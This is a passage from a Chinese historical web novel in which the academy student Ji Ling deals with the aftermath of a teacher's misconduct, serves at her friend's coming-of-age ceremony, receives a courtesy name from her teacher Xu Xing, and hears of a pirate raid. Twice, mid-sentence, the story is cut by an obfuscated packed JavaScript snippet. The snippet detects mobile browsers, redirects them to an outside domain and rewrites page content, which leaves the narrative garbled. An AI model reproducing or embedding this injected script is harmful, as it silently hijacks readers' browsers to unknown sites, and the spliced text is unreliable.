徐行端着烛台靠近,季泠内心升起浓烈的不安感,他似乎直直盯着她,可她鼓起勇气看上去,只看见一双幽深不明的眼眸,目光聚焦在别处。 徐行在她面前挺住,弯了腰,烛台低了几分,光亮照在她的衣裳下摆处。是方才她摔倒弄脏了,着急着赶来送课业,压根没注意到。 季泠立刻拍去脏污,勉强笑了笑。 烛光顺着走线上移,她的局促与落寞无所遁形。 “你怎么知道,那夜我在芳园前走过?” 季泠指了指他腰间:“有声音。” 那夜,她听到了,那副玉饰的清鸣,就像她父亲船头挂着的风铃。 整个书院,只有徐行会佩玉。也只有他有那么好的玉,能有如此不同凡响的声音。 徐行平日讲学时,是不加佩饰的,只因她前来送学生们的文章时,徐行就如书中写的那些清雅士人一般,换了白日沾染风尘的衣裳,熏了香,系了玉,她注意到几次。 也只有她注意过。 徐行了然点头,语调温和道:“陈钊已经被送去官府了,山长在东南名声斐然,陈钊就算能出来,估计也没有书院私塾愿意聘他为师,你们可以安下心。” 他不知道她究竟是为谁出头,但目的一定是为了让败坏师德之人依法受惩。 “安心?”季泠听见这样的话,突然觉得很可笑。 “徐先生,您知不知道,这样的事情对于一个学生而言,意味着什么?” 季泠往前一步,徐行收回端着烛台的手,火苗疾速闪灭,两双眼睛陷入了暗夜的沉默。 过了许久,烛芯中的一点橙光酝酿着,又慢慢生长出来。 季泠倔强地仰着头,看着这位年轻的先生,圣上钦点的榜眼,不知为何来到建州的翰林院官员。 “每个人心中都有一盏长明灯,朝着它走了许久许久,不顾旁人的唱衰与跌倒时的疼痛,终于快要走到了。”她看着徐行,熠熠火光只留在她的眼中,比他手中的烛台还要炽热三分。“结果发现,是恶魔火把的伪装。” “先生,您也有信仰吧?您可曾知道,信仰瓦解的滋味?” 季泠并非多么看中陈钊,陈钊不过是书院数十讲学中的一人,并无她与秦晗、郑稳那般深厚的师生情谊。 可是,那毕竟是先生啊!她们在圣贤清光庇护下,交付最赤诚的信任,却遭遇了如此重大的践踏与欺侮! 在师生较量中,她们天然就是弱者,必败无疑。 唯一的破解之法,是凌驾道义之上的权势。 “徐先生,您什么都不懂。”季泠说完,头也不回就跑走了。 少年掀起的风吹灭了烛台上的火。 次日,季泠出现在致用斋时,已经完全恢复成往日的模样,仿佛昨日的风波与她毫不相关。 吴忧的书案前空空如也。徐行坐在上方讲课,扫视下方时,敏锐察觉气氛的怪异之处——好几位学生的目光都未停留在合适的地方。 譬如齐家那三兄妹,再譬如季泠与何咨宁。 那四人都看着季泠,而坐在她们前方的季泠,却看着一旁角落里那张空书案发呆。 如此不懂隐瞒心思,若是被其他人洞察,她昨日的冒险出头岂非功亏一篑。 在学生们埋头写字时,季泠撑着下巴,想到昨日吴忧的那句话。 她确实是好心办了坏事,无论如何,行事判案总归论迹不论心,她把一个姑娘进学的机会给毁了。 她毁了一个人的一生。 这样沉重的担子压在肩上,让她昨日一夜未眠,如今坐在致用斋内都有些神思恍惚。 直到一条长长的影子把她罩住。 季泠不解抬头,影子的主人并未看她,只是卷着书敲了敲自己的掌心。 季泠后背一阵麻意,低头抓起了笔。而盯着她的四人自然也受到隐隐的告诫,老实专注起来。 午间散学,季泠独自坐在芳园林子外的长廊上。 一早上吴忧都没出现,看来,陈钊被抓真的殃及了她这位受害者。 可,这是陈钊的错啊! 难道,她不出面检举陈钊,吴忧就要一生都活在他的儒面鬼手之下吗? 世间竟无双全之法,既可让有罪者受天命所诛,又能保受害人重获应享安宁? 在她思考对策时,有人在背后戳了戳她。 季泠被这意外的动静吓了一跳,一转头,就看见一枝热烈绚丽的花。 是映山红。 拿着花的少年等了许久,不见眼前人说话,挪开几寸,就看见季泠冷淡的面容。 平日里,快乐像不值钱的水花般往外泼的人,原来冷脸起来,也骇人。 昨天和今天,季泠都没有和他们三人说话,她一定是生气了。 齐无戈又想到去年季泠不理他的那一个月。那一个月,简直漫长又无趣。 “泠儿,我错了,我不是故意瞒着你。”齐无戈开口就道歉,季泠背过身,不想理会齐无戈。 钟荡云站在不远处,接收到齐无戈求助的眼神,立刻抱拳恳求他,让他一定哄好她的好妹妹。 单手撑着倚背阑干,齐无戈跃身一翻,腾转半圈,又现在季泠面前。 略大的动静震掉几片花瓣,赤烈如霞,洒落在她的斓衫上。 “实在是我父亲下了命令,不许我们在外招摇……” 钟荡云在不远处跺了跺脚,齐无戈又连忙补充:“荡云老早就想告诉你的!被我拦住了,你,你和咨宁要气就气我们,打也好,骂也罢,我们都受得,不要生她的气。” 季泠偏了头,齐无戈立刻把那支杜鹃塞进她手里。 “我不要你的花。”季泠嘴上说着,手却仍握着那枝映山红,闲不住得拨弄花蕊。酝酿许久,季泠抬了眼,映入眼帘的,是齐无戈眉心的那点朱砂痣。 从前,她就偷偷拿这颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446269|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痣取笑齐无戈,与何咨宁说,一个男子,长了颗美人痣,又生了双大眼睛,实在太没气势了。可如今看来,这颗痣长得是极好的,金冠银枪,意气侠骨,需要一点朱色柔情。 她盯着齐无戈看了许久,只觉那颗朱砂痣就如新生红日一般夺目耀眼。 季泠下定决心,开了口:“齐无戈。” “欸!”他应得极快,生怕她反悔一般。 “我想请你帮我一个忙。” “好!” 季泠舒心笑了笑,又不放心地试探道:“你就不问问,我想要你帮我什么忙?” “除非是要我去摘星捞月,”他咧嘴一笑,又立刻腼腆般收敛几分,“你总不会这样为难我的,泠儿。” 季泠站起身,用那枝杜鹃去够悬挂在长廊上的紫藤萝。 “你是世子,”她说,齐无戈陡然紧张起来,“那你肯定有些门路的。”季泠转身,晃了晃杜鹃,要他靠近些。 因病告假五日的吴忧回到致用斋后,身边围了一群人,纷纷前来关心她的身体。 吴忧低眉敛目,小声说自己只是染了风寒,如今已经痊愈了。待到先生进来,众人纷纷散开时,她飞快掠过所有人的背影,却没看见平日最闹腾的那个人。她又低下头,心里泛起几分歉疚的涩意。 她知道,那日是她言辞过激了。她也知道,这回,是谁帮她回来,还请求书院看在她家中并不宽裕、她又勤恳努力的份上,为她免去束脩。 吴忧朝着斜后侧看去,季泠正低着头专注于书中经文,似乎全然不知她今日回来。 季泠再度抬头时,秦晗正在看她呈交的方志心得。 “看到哪儿了?” “回先生,看到列女卷。” “有什么想法?”季泠舔了舔干燥的嘴唇,才开口:“方志的修撰,也该有女子加入。” 她看了看秦晗,“您修撰的建州府志,就没有那么多颂扬贞洁的篇章。” “对绝大多数人而言,贞洁,确实很重要。许多士人,都愿意舍生以取义。” “那是士人自愿的!为了他们的志向而守心如一!可地方志中的列女卷呢?赞扬女子坚韧品性的,认可她们才华能力的,不过寥寥几笔。绝大多数,尽是唯丈夫宗族之利为正道,赞她们为亡夫守节,赞她们为宗族抚育遗腹幼子,抑或是赞她们忠心侍奉公婆。” “从前,你看地方志中的列女卷时,不会有如此苦大仇深的怨恨。”秦晗淡淡道,几句话就察觉了季泠的异样。 季泠痛快承认了,她就是因为陈钊之事而愤愤不平。虽然陈钊已经受到惩处,吴忧也能够重新复学,可她总觉得,事情不该仅仅如此。 “学生只是突然发现,世间千万事,不会事事皆如意。有时候,前路只有刀山和火海。” “如果是你,你怎么选?” 季泠想到了吴忧。她忍辱负重,只为能够在书院中继续进学。其它一切,于她而言,都比不过这件事,都可以忍受。 她又想到,列女卷中,数百页的夫亡,其妇死节,旌其门曰贞烈。全是双十芳华的女子,在地方志中留下三两行的痕迹。 她不信,若是她们有得选,会选择这样死去,只为成全宗族名声。 可若,她是那些女子呢?她是吴忧呢?她有选择的余地吗? 季泠突然顿悟,抬头看着秦晗。 “刀山也好,火海也罢。我先走去,才有来路。” “如何走去?” “我将利用,我能利用的一切。” 正如,此次一样。 8. 平民女初入侯府门 陈钊风波平定,季泠安心投入地方志的大业中。 她回到斋舍后,发现窗边的书案上多了一些东西——一方崭新的绣帕,还有一只刚打好的书箱,边缘仍然保留新鲜木头的锋锐。 她将帕子收好,将自己新添置的文房放入书箱中,透过庭院中的月光,看向对面的斋舍,门窗紧闭,仍透出微光。 那胆怯的姑娘正坐在书案前孜孜不倦。 一季轮转,秋日临窗时,季泠已经将南直隶方志的重任完成了一半。 八月时,她与何咨宁收到了齐无戈和齐无咎送来的请帖。 “荡云的意思是,八月十二的及笄礼,请泠儿为她作赞者。” 何咨宁本也在钟荡云的赞者名录内,可惜,她知道何咨宁是不会答应的,何咨宁最不喜欢出风头的事情。 季泠也明白钟荡云的心意。她与钟荡云生辰相近,名义上,她请她作赞者,辅她成礼。 实际上,钟荡云是想,与她一起跨过女子一生中最重要的一日,全了她无法行笄礼的遗憾。 笄礼前一日,两人换上自己最为体面贵重的衣裳。 当穿着鹅黄色短袄、秋香色素裙与蕉鹃色上衫和东方蓝下裙的两个姑娘出现在齐府时,路过的人都纷纷侧目,低声议论。 季泠与何咨宁候在影壁处,看着身前侍女们来去匆匆,经过她们时驻足片刻,又相对言语两句跑开了。 而初至高门大院的两人,饶是再胆大无拘,此刻也拘谨起来。 季泠揪着手,待听见齐府人离去的动静,偷偷抬头四处观望着。 影壁前是肃装正容的侍卫。她们从广亮门进,正站在一座撇山影壁前。 季泠小步小步地挪动着,靠在石壁上,往后探看。是一座很气派的垂花门,也有几个侍卫守着。攒边门侧有两座如意抱鼓石,侧边的鼓面雕的是五狮护栏图。正上方悬着两根莲花头圆形垂花柱。 季泠还未看清垂花柱旁的雕饰,就被何咨宁拽了回去。 两人抬头,只能看见前后左右的人都簇拥着中间的人。她们看不清是谁,只能看见一只熠熠生辉的乌纱帽,还有身侧略矮一些的几只闪亮的金簪。 顷刻间,四面八方的人都迎上来,把她们俩挤的连连后退,只堪藏匿到树枝后头去。 “徐大人,徐夫人,侯爷已经在正厅等着二位了。” 片刻后,如孟秋狂风骤歇,所有枝叶都离开了,又只剩下最不起眼的两个人。 季泠撑着何咨宁的手,高高踮起脚,在格外明亮的日光中,看见那位大人的衣袍。 “红色的!是红色的!咨宁!”她低声喊着,连连拍打何咨宁的肩膀,像只振翅的小鸟,叽叽喳喳。 “知道了,规矩些。”季泠站了许久,脚都酸了,真想靠在树上,可如此又会将她的衣裳弄脏,只好作罢。 远处的人不忍打破那一动一静的栩栩画卷,与身侧同行的两位少年道了别,往先前声势浩大的徐大人那处方向走去。 “咨宁!”“泠儿!”两道少年声同时响起,季泠一抖,立刻站好,何咨宁替她捋顺了裙摆,恢复成刚来时的体面。 两人引她们上了马车。这还是她们第一回坐马车,实在新奇。 “我们这是要去哪儿?”齐无戈笑笑,将小几上的果子茶食端给她们。 那些茶食全做成各色花状,秀气精致,花蕊处还点着金箔,摆在雕花攒盒中,十分讲究。 季泠瞄了几眼,还是摆了摆手。她吃东西没个正形儿,别把人家的马车弄脏了。 “先去主院,带你们去与父亲见礼。荡云也在主院等着呢。” “主院?那为什么坐马车?” 季泠诧异地看着对面兄弟二人。他们好歹也是武将子弟,这两步路,怎还累着他们了? “这儿走到主院要很久的,今日日头大,怕你们中了暑气。” 齐无咎为她们斟了茶,随口解释着。何咨宁本想说,能有多久,况且今日天也不算很热。 直到她们茶喝了一盏又一盏,季泠还是没按捺住,小口小口地吃了三四块糕点后,马车才渐渐平缓下来。这下她们才知道,高门大院的庭院深深,原来不是戏文里夸大的。 兄弟俩下了车,她们听见许多人喊着大少爷、二少爷。季泠突然就不敢迈步了。坐在马车中,她朝锦帏处挪动几寸,将何咨宁拽得老紧。 手心的力有了回应,她就知道,何咨宁也是有点紧张的。 扭扭捏捏下了车,齐无戈与齐无咎分别立于马车两侧,后头跟着一长串的侍从,两人顿时僵住。 扶着车架子慢慢下车,季泠看着前头风光无限的齐家少爷,心中生出莫名的沉闷。 “之前在书院中,还未曾觉得,齐大齐二是如何地位超然的。” 何咨宁拉着季泠的手,喃喃自语般说了这么句话。季泠没出声应她,只觉得,这么大的院子,这么多的人,她们两个在致用斋昂首挺胸的,怎么一进来,就缩成笋尖了。而齐大齐二一进来,倒成了一日疯长的竹子,比她们高出了那么多。 跟着两人走进正堂,上首坐着一个通身寒肃之气的人。 齐无戈与齐无咎抱拳行礼,喊了声父亲。 季泠与何咨宁在垂首行礼后,对视一眼。是当今战功赫赫,扬名东南的抚远侯,闽浙总兵官,齐威。 而后,齐大齐二又朝上首的另一位大员行了礼,少年轻跃声收敛许多,多了几分敬重。 “徐大人。” 是方才她们看见的那位大人,一身绯袍,模样淡然,并未端着架子。可那身绯袍,已然给他增加了十足的气势。 等钟荡云出来,利落又大方地于堂中几位叔伯见了礼后,拉着她们往她院子中走去,她们才知道,那位穿着绯袍的官员,正是如今的福建布政使,徐翰科。而为她担任正宾的,就是徐夫人。 入夜后,季泠捶着肩,洗漱沐浴后就瘫在榻上。 一躺下去,再也不想起来了。 “咨宁!” 何咨宁今日都在旁观,不必随她和钟荡云一起过流程,倒是落个轻松。 “你快来试一试这软榻!”季泠困意迷离,脸在软枕上蹭蹭,笑得十足憨傻。 何咨宁一坐,也露出惊喜神情。这软榻,不知比她们斋舍与家中的床软多少。 若在斋舍中放上这么一张榻,她和季泠怕是都无法早起读书了。 如此想来,齐家三兄妹居然能够由奢入简,意志真是坚定。 何咨宁还未说些什么,季泠已经睡着了。何咨宁笑笑,无奈摇了摇头,替她盖上薄被。而后,她又想到,今日齐无咎与她说的话。 她问齐无咎,为何不见他们和钟荡云的母亲。这话问出来,何咨宁还是有些担心,是否会冒犯他们的隐私。 齐无咎笑笑,低头看着她,似乎很意外。 他说,他们母亲和三弟留在京城抚远侯府中。三弟年纪还小,等再大些,也该和他们一样,到父亲的军营中历练的。 由此,何咨宁才知道,原来齐无戈与齐无咎时常不在书院,是因为在军营里。而更令她惊讶的是,齐无咎与她高山流水,琴箫相合,一副风流雅士之姿,素日见了齐无戈与钟荡云舞刀弄枪的粗放,总表露几分嫌弃。这样的人,居然在军营中历练多年。 她与齐无咎站在廊檐下,看见正厅宴息处,齐无戈跟在季泠身后,替她端着漆盘,眼睛怎么也离不开季泠。 她状若无意,随口一问:“你会入军吗?还是说,回京城的抚远侯府?” 齐无咎说,他也不知道。他是次子,该听家族的吩咐。正如他的母亲,昔年是战场上的女将军,为了抚远侯府,最终离开了军营,进了京城十几年,再未出来过。 何咨宁愣住了。 女将军。在这个世道,女将军有多不容易,她知道。 能称得上是将军的,必然战功赫赫,竟然甘心吗? 她没问出口。只是静静地看着她的好友,将在盛大的壮月日光中,迎来她们的成年。 季泠身着赞者礼服,先一步到了厅前候着。钟荡云在何咨宁的陪伴下,沐浴焚香,换上素服。 厅前,侍礼者唱帖,这儿的知府,那儿的将军,皆是华冠玉服,衮衣绣裳。徐夫人还没出来,钟荡云的侍女都在后院陪着她,齐无戈与齐无咎随着齐侯爷去接待宾客,季泠四处张望着,在甚嚣尘上的热闹中置身事外般,不知该走向何处。 “季姑娘。” 日日都听见的声音,在这儿听见…… 季泠不禁一抖,迟疑中转身看去。 徐行今日穿着影青色圆领袍,比之往日书院讲学的随性,多了几分不容置疑的矩正之气。 “徐先生?”不远处,徐行穿过众宾,从接天连幕的欢声中走来,带着平和的笑意,在她身前停下。 “您怎么在这儿?” “怎么站在这儿?” 两声同时想起,徐行轻笑了笑,季泠尴尬地低了头,就听见他说:“随我来。” 季泠下意识抬脚跟上,走出几步才想起追问他。可话刚到嘴边,又收了回去。 他是京官,虽不知为何来了建州,可第一日,她就看见,他与齐无戈对视了几回。 他与齐家分明是故交,她才是那个不合时宜的人。 想到这儿,她就难过起来,此时此刻,她特别希望何咨宁和钟荡云能在她身边,陪她回到书院去。 这个地方,这身礼服,她都不习惯。 意识到身后的人奇异的安静,徐行转过头,看见季泠走得很辛苦。 这身赞者礼服略长了些,遮住了脚背,她怕摔跤,走得很慢,时不时绊一下,又着急忙慌地抓着裙子跟上。 他慢了步伐,直到她走到他身旁。他听见她偷偷舒了一口气。 “别紧张,流程虽然繁琐,但是大多重复,咱们站得离宾客很远,不会被盯着看的。” 他怎么知道她紧张?她表现的有那么明显吗? 季泠一听自己努力的隐藏被轻而易举洞悉,就有几分被踩到尾巴的恼怒。反驳刚想脱口而出,她却发现话中仍有别意。 “咱们?” “我伯母任正宾,我是今日的司者。” 季泠倏的睁大眼睛,“福建布政使,徐大人,是您的伯父?” 他不经意间侧目,看见和太阳一样鲜亮的人飞快收回眼神,像一颗挂在枝头的杏子。 季泠小声嘟囔着:“建州真是卧虎藏龙,您也真是深藏不露…”他听出季泠有些懊恼。 徐行已将她带至阶边,四周都是忙碌的侍女。离笄礼开始还有一会儿,钟荡云还未出来。 季泠听见徐行又笑了。 今日太阳真大,站在徐行身边,太阳似乎只晒着她,就她一人被热的团团转。 季泠盯着自己的鞋尖,上头沾了一些草屑,是她方才穿过园子时沾染上的。 她跺了跺脚,震落了一些,却又发现裙边染了尘土。 季泠探了探头,瞧着前后左右都没人注意她,后退几步,躲在徐行影子后,猫着腰拍着裙边的尘灰。 影子突然晃动了一下,阳光明晃晃照到她脸上。季 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这件事已经过去三个月了,可她一直没有向徐行道谢。甚至当日,她还没道理地在他面前发了脾气,徐行没有怪罪她,也没给她穿小鞋。如此想来,这位京城的徐先生,人是真不错。 “为无端受辱者出言,本是君子之义。我倒是该谢你,给我惩害正法的机会。” 季泠心中一动,还未来得及与他说话,乐声就已奏响。 钟荡云身边的侍女引她就位,盥手开礼。司者为钟荡云托盘,季泠站在钟荡云身旁,协助徐夫人为她三加笄钗。 笄礼成后,钟荡云身着大袖华服,容光焕发,全然脱胎换骨了。 季泠还来不及与她说上两句话,钟荡云就被齐侯爷带去席间,齐无戈与齐无咎紧随其后,拜见众宾。 至此,钟荡云正式作为抚远侯府的姑娘,出现在福建世家之中。 余下参礼者留下为钟荡云的笄礼作了收尾。 徐行将其余礼器收好时,季泠还在整理钟荡云方才替下的发笄。 眼下,所有的热闹都在宴息处,季泠抬眼看去,齐侯爷正在为钟荡云引荐各位地位非凡的人物,齐无戈与齐无咎笑得得体,钟荡云大方爽利,齐侯爷提醒她如何陈词表现,季泠隐约听见,那位建州知府极其和善,说钟姑娘有齐家将门风范。 季泠看着漆盘中的一方绢帛,出神地抚摸着,凌岳,这是钟荡云的字。此后,钟荡云亦是钟凌岳。 季泠淡淡笑了,又想到什么,抿了抿唇,低下头,将那方布帛收好。 “都收拾好了吗?”徐行的声音突然想起,把季泠吓了一跳。 转头看去,行礼的宗祠前只剩下他们两人,季泠这才反应过来,徐行是在等她把钟荡云的东西收拾好,他作为司者需要清点得当。 “抱歉,先生。” 徐行笑笑,弯腰把她弄掉的那方绢帛捡起来,“在想什么?” 季泠答:“荡云的字,取得很好。” 徐行洞察了她的落寞,“季姑娘笄礼可行了?” 季泠一顿,摇了摇头,“学生还未满十五。” “何时?” “六日之后,八月十八。” 六日后?徐行略微惊讶,那此时她应该准备起来才是,怎么还能腾出时间在这儿替钟荡云作赞者? “可取好字了?” 通常来说,笄冠礼前,就会取好字,待到开礼,再行加字。 季泠收拾好东西,端起托盘,示意徐行能否为她带路。 “怕是要让先生取笑了,学生没有笄礼。” 所以尚未取字。 齐家太大,亭台楼阁,回廊曲折,季泠跟着徐行走了很久,宾客盈门的喜庆渐渐淡去。 “字,是很重要的。”徐行说。走到放置礼器的稍间内,徐行接过季泠手中的东西,站在木架前一一核对。 “你是读书人,通文知理,该要有字,以表身份,行于世间。” 季泠捧着那方布帛,低声说,“字,该由尊长来取。可……” 可她亲族不通文墨,不重礼乐,自然也不会为她取字。 “凌岳”二字笔墨浓厚,柔中蕴劲,季泠认出来,那是徐行的字迹。这张布帛是徐行写的。 鬼使神差间,季泠听见自己说,“不若,徐先生为学生取字吧?” 徐行怔愣一瞬,转过身看她,季泠当下懊悔自己口出狂言,怎么好意思提出如此要求,连忙说:“若先生不愿意,也……” “好。”徐行答应了。 梢间外,青天高,日华明,庭前有光芒万丈,红漆廊柱映着建州长青枝叶的跃影。 “你有什么期盼的愿景吗?” 季泠想想,她生在万灵不败的秋天里,长于惊涛骇浪的大海边,那么,她也该是这样的人。 “才闰骤为当世用,青云直上蹑天躔。”脱口而出,季泠方觉自己过于猖狂,出于圣贤谦逊之言的熏陶教化,她表露出几分识趣:“是不是,太张狂胆大了一些?” 徐行领着她走出稍间,穿过葱绿林木,声音顺着连廊游动,“青云直上马如龙,来往泠然若御风。学海无涯,迢迢万里,你有此大志,会很辛苦。” 季泠朗声应他:“我不怕。” 徐行又说,“谁谓河广,一苇航之。依你看,‘航青’二字如何?” “航青...”季泠轻轻念着这两个字。 “航青。”她又坚定重复,笑意盈盈。 “极好极好!多谢先生赐字!从今以后,季泠即是季航青了。” 9. 盛况不再祸乱频生 季泠直到生辰前一日才回到枫漈书院,一回到书院,季泠都等不及回芳园,立刻就往瀚海阁赶去。 “秦先生!” 她眉毛弯弯,眼睛明亮,双颊边的肉圆滚滚溢出来,兴致冲冲地跑进秦晗的书斋中,带起的风将古籍上的尘灰扬落。 打了帘子踏进书斋的那一瞬,季泠才想起来自己放肆的行径,立刻刹住脚,险些扑到秦晗书案上。 秦晗抬头看她,再是熟悉不过的腔调:“你又发什么疯。” 秦晗的冷淡已经不足以打消季泠的喜悦。“秦先生!”季泠拉了张圆墩,坐在书案边,“我有字了!” 字?这消息倒着实秦晗她意外。 “谁为你取的字?” 秦晗本想着,今年中秋,季泠定也是如往年一样,留在瀚海阁里继续整理方志,索性就由她替她过了十五的生辰,再勉为其难地替她取字。如此也算是尽了她这先生的义务。却没料到,居然叫人捷足先登了。 “是徐先生!”季泠小心翼翼地从荷包里掏出一张短笺,双手递上。 那张短笺上的两个字笔迹浑厚,与当日钟荡云及笄时、那方绢帛上的字如出一辙。 “航青?”秦晗看了看上面的字,又看了看案前的少年,念起时,嘴角起了若有若无的弧度。 “这倒是个好字。” 季泠高兴地找不着北,仿佛得了字,她就中了进士,前程光明无比。 秦晗看着这姑娘叽叽喳喳的,觉得烦人的要命。 看来还是她太好性子了些,前几年,一开始,不过是看她有几分机灵样,又天生带着些执拗的傻劲儿,她才日行一善,愿意与她说两句话打发时间。怎么也没料到,三四年过去,这姑娘竟得寸进尺起来,把她的安宁给搅散了。 “就因为这个,你旷了我七日工夫?” 季泠这才想起来,她此行前来还有另一件大事,立刻敛了笑容,连带着眉头也拧深三分。 她在去齐家之前,已经与秦晗打过招呼,本想着笄礼结束就能回来,却不料,次日下午回程时,齐家出了大事。 准确来说,是整个建州出了大事。 那日,齐无戈准备亲自送季泠与何咨宁回书院,可刚套了车,抚远侯身边的近卫就匆匆赶来,季泠几人站得近,听见他们说:“大少爷,侯爷喊您立刻过去。” 齐无戈问是什么事,他选得这个返程时间刚刚好,既能让二人在齐府用了膳,又能赶在日落前回到书院。若是耽误了,其它倒都不是大事,只是他答应过季泠,绝对不会再欺她骗她,若他临时爽约,季泠会说他言而无信的。 那近卫也顾不得旁人在场,急急说:“昨日夜半,倭寇登上了宁川附近的一座岛屿。” 宁川! 季泠与何咨宁猛然瞪大眼睛,相顾片刻,大步走到齐无戈身边。 那近卫继续说:“侯爷要您立刻去大营。” 季泠和何咨宁也一道跟了去,才入齐家军大营,就听见点兵整肃之声,如急雨过境。 季泠握紧何咨宁的手,紧张得一句话都说不出来,只顾着跟在齐无戈身后小跑。 走进大营中,几张案几上的茶杯里仍有热气袅袅,许是先前议事之人才散场不久。 齐无戈带着二人绕过隔断,后方有福建舆图与沙盘,钟荡云与齐无咎已经在此等候多时了。 见齐无戈带着季泠与何咨宁,二人倒是没有惊讶,只是快速将刚得的消息报给齐无戈:“昨日亥时,数千倭寇登上建州下辖几处岛屿,突袭闪撤,我们的人一时反应不及。” “现在如何?” “斥候来报,抢了宁川附近的两座岛屿,最后在横屿占地落脚。刘副将先点了一千兵赶去宁川。” 都是她们耳熟能详的地名,季泠与何咨宁的心揪了起来。 建州府整体沿海,下辖多处县乡,宁川最近海,建州城反倒远海,深居丘陵之中。 宁川早年饱受倭患侵扰,民不聊生,近年齐家军清剿倭寇,驻守建州,才还建州府一片安宁。 季泠与何咨宁自小就听家乡老人说,她们年轻时,宁川远没有现在太平。 倭寇登了岸,冲进村民家中,烧杀抢掠,弯刀砍下来,眼睛都不眨的,杀的人越多,流的血越红,他们越兴奋。鸡鸭扑棱着翅膀在惊慌啼叫,飞出鸡圈,把刚下的蛋都踩碎了。 倭寇搜了家,把粮食布匹全部抢走,白刀子进,红刀子出,满地的血流到腥臭的金贵蛋液里,鸡毛散得满地都是,一户人家就空了。 那些与她们说起宁川往事的阿嬷们都是早年倭乱中的幸存者,说起往事时,声音都在颤抖。 她们听阿嬷说,后来朝廷派齐侯爷来了,清剿倭寇,还命士兵替她们修补房屋。 “那些士兵都是十几二十的小伙子呢,自己都没吃饱,还来帮我们干活。我们乡民一起做了饼子,在中间扎了洞,用红绳子串成一整串,给他们挂在脖子上,这样行军时饿了,也有干粮顶着。” 所以,宁川百姓都知道抚远侯齐将军的事迹,还在海神庙旁为他立了功德牌。 季泠与何咨宁没有亲身经历过寇乱,却自小听着这些事情长大。 “所以,你就在齐家与那些将士官吏探讨抗倭之策?”秦晗吹了吹热茶,语调却有些讥讽。 季泠很老实,一五一十把事情说了清楚:“只是见到了几位大官,我说了些自己的看法。” 若说要探讨,她一没经验,二没本事,是绝对不够格的。 季泠又想起这几日在营帐中的场景,她第一次与那么多只听过名字和头衔的官员面对面说话。 为首的是齐侯爷和福建布政使徐翰科,齐侯爷穿着窄袖玄色曳撒,通身肃杀之气,徐大人穿着绯红圆领袍,配着玉革带。季泠偷偷看了一眼,长得果真和徐先生有几分相似,颀长逸然,有文人风骨。 几位大人物交谈时,她和何咨宁站在齐无戈与钟荡云身后,隐约听到几个字眼,港口,闭关,走私,然后又听到户部,内阁之类的词。 她整理过福建方志,大概也能摸清来龙去脉。 就她所知道的,高祖时期,为了彻底解决倭寇问题,朝廷直接将沿海多个港口全部封闭。许多商人没有生计,就自己造船行走私之事。周边有些岛屿的岛民也会借机登岸,借倭寇之名进行抢掠。 实际上来说,真倭为十之三,而从倭者却有十之七。 这样的禁令持续了多朝,在约莫二十年前,如今的圣上还不过是一个藩王,朝中有人支持开关,似乎争取了很多年,最后还是没开成。 但是比起之前全面禁令,又会松泛些,派了官船从刺桐港走,下了南洋。只是不知道后来怎么了,连官船也不让走了,刺桐港风光几年,又渐渐没落了。 不过那时季泠还没出生,这段过往她也是从书东拼西凑出来的,实际情况如何,她也不知道。 秦晗淡淡道:“说说吧,此番又是逞的什么能。” 季泠拿出她从齐无戈那儿顺来的舆图,瞅了一眼秦晗,没有排斥,这才把书案上的书籍搬开,摊开舆图,指了指海岸线处的一个小黑点。 “学生当日听到几位大人在谈论,究竟该如何进攻。这处岛屿名为横屿,离宁川县城很近,水路险隘,滩涂广布,淤泥沉积,即使是小船也不容易通行。先锋军目标过大,才靠近横屿,就被倭寇洞察,以高制低反击。” 秦晗随意问:“那你给了什么解策?” 季泠答:“以草填壕。” 秦晗点点头,勉强认可了:“数十年前的宁川县志记载过,难为你还记得。” 季泠笑了笑,前几日的紧张滞后至今,后背仍有些发麻发热,“学生刍荛之见,不过纸上谈兵。” 秦晗一看就知道,季泠嘴上说得谦虚,实际上还是很希望自己的见解能够被齐家军采用。 那日,季泠面对的是身经百战的齐侯爷,以及数位理政多年的福建官员,她提出,让军士每人持草一束,填壕以进,从而大破其巢。既缩小目标,避免打草惊蛇,又不必消耗过多人力物力,节省军费,为军士们留存体力。 说到最后,季泠眉飞色舞,滔滔不绝。直到回神时看见那些气派威严的脸都缄默无波,她才惶然住嘴,暗道自己实在是班门弄斧,自以为是。 季泠其实还有很多话想讲,可她也不是不会看脸色的人,知道自己位卑言轻,赶忙补上一句“学生妄言”后,立刻就退到齐无戈身后去,再不敢发一言。 现在回到瀚海阁,她却压不住自己倾诉的欲望,疑惑地问:“其实学生还有一事不解。” “嗯,说吧。” “先生也知道,许多流民误与寇者为奸作恶,并不是他们最初所求,不过是受生计所迫。外患兴许可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们祝您生辰快乐,您记得吃长寿面,要加红鸡蛋。” 语罢,竹帘放下的声音在幽寂的书斋中响荡,须臾,书斋内青烟袅袅。 万古无波的人怔忡着,闭了闭眼。 秦晗没告诉季泠,她最初愿意接受她的冒犯与喧闹,是有一份特殊的缘分使然。 她与季泠,是同一天生辰。 当年,她父亲猝然离世,她在葬礼上,独此撑起秦家门楣。 父亲过世后,秦家仅留她一个孤女,群狼环伺。她父亲的故交,她昔日的先生,从京城赶来吊唁。 次年,她至及笄之龄,生辰当日,一个人独自躲起来思念亲人。安静又温和的少年从书架旁走出来,拉住她,端来一碗长寿面,为她抹去了泪水。 她看见,蛋壳沾在他的袖口上。他的手心和指腹红彤彤的。 他说,“晗儿,生辰是忌讳落泪的。生辰日,一定要笑,笑了,带你来世上的父亲母亲才能安心。” 她说,“可是,我的父母,都不在了。我一个人,无所谓任何忌讳。” 